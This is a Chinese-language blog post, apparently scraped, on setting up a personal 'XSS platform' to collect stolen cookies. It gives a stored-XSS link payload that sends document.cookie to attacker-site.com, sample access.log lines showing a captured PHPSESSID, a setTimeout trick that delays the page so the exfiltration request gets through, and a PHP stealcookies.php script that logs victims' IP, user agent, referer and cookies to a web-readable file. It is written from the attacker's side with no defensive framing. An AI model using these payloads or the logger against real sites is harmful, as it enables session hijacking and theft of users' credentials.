XSS学习笔记(三)-XSS平台的搭建

来源:互联网 发布:caxa线切割xp编程教程 编辑:程序博客网 时间:2024/05/22 02:08
接着前两篇来的,攻击者可以通过一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>

方法一:Apache access.log

这样根据home.php的过滤条件,如果是admin账户,就会显示含有"美女admin"的列表,然后如果是点击了"美女admin" 的链接,他cookie就可以被收集到我的服务器上(这里是被动式的触发的漏洞,具有一定的猥琐性),搭建的XSS平台一定也有挺多的简单方法,最简单的就是在Apache的access.log中查看,类似的日志是:
172.29.32.182 - - [17/Apr/2014:15:46:18 +0800] "GET /favicon.ico HTTP/1.1" 404 1675
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "HEAD /qweiop43809442fsfjflr.html HTTP/1.1" 404 -
172.23.10.11 - - [19/Apr/2014:15:20:43 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.110 - - [19/Apr/2014:15:20:43 +0800] "GET  /xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 200 38          ------ 一次记录的XSS信息,包括目标IP和目标网页以及cookie

为了提高XSS的写入远程cookie成功,我们还经常使用 setTimeout()函数做时间竞争,具体做法如下:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>

这样可以为在想远程发生哦那个请求的争取个3s的时间,尽最大可能让他到达我们的XSS平台。


方法二:自己在任意可被访问的php代码中加入此段,或者简单的加个新的页面(不隐蔽),也可以记录写详细信息,如攻击者盗取cookie的脚本stealcookies.php 可以是这般:
<?php$ua = $_SERVER["HTTP_USER_AGENT"];                     /*  这里是记录HTTP头所有信息,其实这里还可以在加上些容错处理,防止畸形的http无法被记录 */$client_ip = $_SERVER["REMOTE_ADDR"];$method = $_SERVER["REQUEST_METHOD"];$referer = $_SERVER["HTTP_REFERER"];$date = date("F j, Y, g:i a");$querystring = $_SERVER["QUERY_STRING"];$log = fopen("cookie.txt","a+");                      /* 这里是追加到可以在url 访问的 txt 里 */$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date  | Cookie: $querystring \n";fwrite($log,$str);?>

这个XSS脚本记录的信息就明显详细多了。
 
0 0
原创粉丝点击